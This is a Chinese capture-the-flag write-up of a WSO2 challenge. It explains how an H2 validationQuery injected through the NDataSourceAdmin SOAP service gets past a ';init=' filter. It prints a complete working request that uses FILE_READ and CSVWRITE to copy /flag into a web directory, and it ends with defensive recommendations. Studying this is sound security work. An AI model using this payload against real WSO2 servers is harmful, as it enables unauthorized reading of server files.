第三届长城杯半决赛-wso2:SOAP管理接口+H2文件读写绕过waf
字数 3721
更新时间 2026-04-02 14:29:00

WSO2 SOAP管理接口 + H2数据库文件读写绕过WAF漏洞分析与利用教学

1. 前言

本文档基于第三届长城杯半决赛的一道CTF题目(wso2)的实战分析与利用过程编写。该题目主要涉及对WSO2产品中SOAP管理接口的利用,并结合H2数据库的文件读写功能,绕过WAF(Web应用防火墙)等安全限制,最终实现任意文件读取(在本例中为读取Flag)。本文旨在详尽地还原漏洞环境、分析漏洞原理、追踪代码逻辑,并给出完整的利用步骤,形成一个完整的攻击链教学。

2. 环境搭建与初始访问

2.1 目标环境

目标是一个WSO2应用服务器。题目提示需要通过HTTPS进行访问。

2.2 访问与登录

  1. HTTPS访问:直接访问目标HTTP端口会提示需要HTTPS。使用HTTPS协议(https://)访问目标后,可能会发生重定向到localhost的情况。这通常需要修改Hosts文件或使用代理工具处理。
  2. 管理登录入口:WSO2 Carbon管理控制台的默认登录入口为 /carbon/admin/login.jsp。访问此路径即可进入登录页面。
  3. 默认凭据获取:WSO2的默认管理员凭据通常配置在本地文件 repository/conf/deployment.toml 中。根据文档内容,配置示例如下:
    [super_admin]
    username = "admin"
    password = "abcd1234"
    
    使用此用户名(admin)和密码(abcd1234)即可成功登录WSO2 Carbon管理控制台。

3. 漏洞点分析与背景知识

3.1 题目提示与漏洞方向

题目明确强调了 SOAPH2 JDBC 这两个关键点。因此,漏洞的利用路径与WSO2中通过SOAP接口管理数据源,并利用H2数据库的特性进行攻击有关。

3.2 相关技术背景

  • SOAP接口:WSO2 Carbon 提供了基于SOAP的WebService管理接口,用于远程配置和管理各项服务,包括数据源。
  • H2数据库:一个用Java编写的嵌入式数据库,支持内存模式和文件模式。它提供了一个名为CSVWRITE的函数,可以将查询结果写入CSV文件;同时,通过FILE_READ函数可以读取服务器上的任意文件。这为“数据库即后门”提供了可能。
  • 已知漏洞:在WSO2的历史版本中,存在通过NDataSourceAdminService服务测试数据源连接的功能,该功能在构造H2数据库连接时,如果未对validationQuery(验证查询)进行充分的过滤和限制,攻击者可以注入恶意的H2 SQL命令,从而实现文件读写或RCE。

4. 漏洞利用链深度分析

4.1 利用入口:NDataSourceAdminService SOAP接口

攻击的目标是 NDataSourceAdminService 这个SOAP服务。具体要调用的方法是 testDataSourceConnection,该方法用于测试一个数据源配置是否有效。

SOAP请求端点/services/NDataSourceAdmin

4.2 代码逻辑与安全限制分析

通过分析相关Java代码(调用链如下),可以理解漏洞的触发点以及现有的安全限制:

  1. 入口org.wso2.carbon.ndatasource.core.services.NDataSourceAdminService#testDataSourceConnection
  2. 调用链org.wso2.carbon.ndatasource.core.DataSourceRepository#testDataSourceConnection
  3. 最终执行点(Sink)org.wso2.carbon.ndatasource.rdbms.RDBMSDataSourceReader#testDataSourceConnection

RDBMSDataSourceReader#testDataSourceConnection 方法中,存在以下关键逻辑和过滤:

  • URL过滤:代码检查连接URL (rdbmsConfiguration.getUrl()) 中是否包含 ;init= 字符串(不区分大小写)。如果包含,则直接抛出 DataSourceException,阻止连接测试。这是为了防御通过H2的INIT参数执行初始化SQL的攻击。
    if (rdbmsConfiguration != null && rdbmsConfiguration.getUrl() != null && rdbmsConfiguration.getUrl().toLowerCase().contains(";init=")) {
        throw new DataSourceException("INIT expressions are not allowed in the connection URL due to security reasons.");
    }
    
  • 验证查询(validationQuery)长度限制:在WSO2的前端或相关配置检查中,对validationQuery参数的长度进行了限制,导致过长的恶意payload无法直接提交。

4.3 攻击思路与绕过

尽管存在上述限制,但攻击依然可行,原因如下:

  1. 过滤不完整:代码仅过滤了URL中的;init=,但没有过滤H2数据库的文件读写函数,如 CSVWRITEFILE_READ
  2. 长度限制的应对:虽然validationQuery字段长度受限,但一个精心构造的、用于文件读写的H2 SQL语句可以足够简短,以通过长度检查。
  3. 利用链设计
    • 目标:读取服务器上的Flag文件(/flag)。
    • 挑战:即使通过FILE_READ读取了文件内容,也需要一个方式将内容输出到攻击者可访问的地方。
    • 解决方案:利用CSVWRITE函数。该函数可以将一个SQL查询的结果写入指定的CSV文件。我们可以将FILE_READ(‘/flag‘)的读取结果,通过CSVWRITE写入到WSO2的一个Web应用目录下(例如 repository/deployment/server/webapps/下的某个应用),从而通过HTTP直接访问该文件获取内容。

5. 完整漏洞利用步骤

5.1 构造恶意SOAP请求

以下是一个完整的、用于实现文件读取并写入Web目录的SOAP请求Payload:

POST /services/NDataSourceAdmin HTTP/1.1
Host: challenge.imxbt.cn:30659
Authorization: Basic YWRtaW46YWJjZDEyMzQ=
Content-Type: text/xml; charset=utf-8
SOAPAction: urn:testDataSourceConnection
Connection: close

<?xml version='1.0' encoding='utf-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <xsd:testDataSourceConnection xmlns:xsd="http://org.apache.axis2/xsd">
      <xsd:dsmInfo>
        <ax:name xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">verifyflag</ax:name>
        <ax:description xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">verifyflag</ax:description>
        <ax:jndiConfig xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">
          <ax2:name xmlns:ax2="http://core.ndatasource.carbon.wso2.org/xsd">jdbc/verifyflag</ax2:name>
          <ax2:useDataSourceFactory xmlns:ax2="http://core.ndatasource.carbon.wso2.org/xsd">false</ax2:useDataSourceFactory>
        </ax:jndiConfig>
        <ax:definition xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">
          <!-- 核心Payload部分 -->
          <ax:dsXMLConfiguration><![CDATA[<configuration>
<url>jdbc:h2:mem:verifyflag;DB_CLOSE_DELAY=-1</url>
<username>sa</username>
<password></password>
<driverClassName>org.h2.Driver</driverClassName>
<validationQuery>CALL CSVWRITE('repository/deployment/server/webapps/publisher/flag123.txt', 'SELECT FILE_READ('/flag')')</validationQuery>
</configuration>]]></ax:dsXMLConfiguration>
          <ax:type>RDBMS</ax:type>
        </ax:definition>
        <ax:system xmlns:ax="http://services.core.ndatasource.carbon.wso2.org/xsd">false</ax:system>
      </xsd:dsmInfo>
    </xsd:testDataSourceConnection>
  </soapenv:Body>
</soapenv:Envelope>

Payload 关键点解析:

  • <ax:dsXMLConfiguration>: 此处内嵌了数据源的XML配置。为了避免XML解析冲突,原文档中使用了HTML实体编码(如&lt;)。在实际攻击中,使用<![CDATA[ ... ]]>包裹或正确转义是更稳妥的做法。本例在解释时将其还原为清晰格式。
  • <url>: 配置H2内存数据库连接。DB_CLOSE_DELAY=-1保证数据库在连接关闭后不会立即销毁。
  • <validationQuery>: 这是注入恶意代码的关键字段。其值为:
    CALL CSVWRITE('repository/deployment/server/webapps/publisher/flag123.txt', 'SELECT FILE_READ('/flag')')
    
    • FILE_READ('/flag'): 读取服务器根目录下的flag文件。
    • CSVWRITE(‘path‘, ‘SELECT ...‘): 将SELECT查询的结果(即flag文件内容)写入到指定路径的CSV文件中。这里选择写入到publisher这个Web应用的目录下,该目录通常映射到URL /publisher/

5.2 发送请求与执行

  1. 将上述SOAP请求发送至目标服务器的 /services/NDataSourceAdmin 端点。
  2. 请求头中的 Authorization: Basic YWRtaW46YWJjZDEyMzQ= 是管理员凭据admin:abcd1234的Base64编码,用于通过身份验证。
  3. 服务端在处理该请求时,会解析XML配置,并使用H2驱动尝试建立数据库连接。在连接测试阶段,会执行validationQuery中定义的SQL语句。
  4. CSVWRITE函数被执行,将Flag文件的内容写入到Web服务器的指定路径。

5.3 获取攻击结果

攻击执行成功后,即可通过HTTP直接访问写入的文件:

https://target-ip:port/publisher/flag123.txt

访问该URL,即可在返回的CSV文件内容中看到Flag。

6. 总结与防御建议

6.1 漏洞根源

  1. 功能滥用testDataSourceConnection 本是一个管理功能,但未对输入进行严格限制,允许用户完全控制validationQuery
  2. 黑名单过滤失效:仅过滤;init=,但未能识别H2其他危险函数。
  3. 纵深防御缺失:允许将文件写入Web可访问目录,导致了信息泄露。

6.2 防御措施

  1. 输入校验:对数据源配置的所有字段,特别是validationQuery,进行严格的白名单校验,只允许简单的、预定义的验证语句(如SELECT 1)。
  2. 最小权限:运行WSO2服务的系统用户应遵循最小权限原则,无法读取敏感文件(如/flag)或写入Web目录。
  3. 禁用危险功能:在生产环境中,如果不需要H2数据库,应移除其驱动。如果必须使用,应审查并禁用其危险的内置函数。
  4. WAF/IDS规则:部署的WAF应能识别和拦截CSVWRITEFILE_READ等危险的SQL函数调用特征。
  5. 审计与监控:对管理接口(尤其是SOAP服务)的调用进行日志记录和异常行为监控。

参考链接:本漏洞思路与Lexfo的安全研究相关 (https://blog.lexfo.fr/wso2.html)。

相似文章
相似文章
 全屏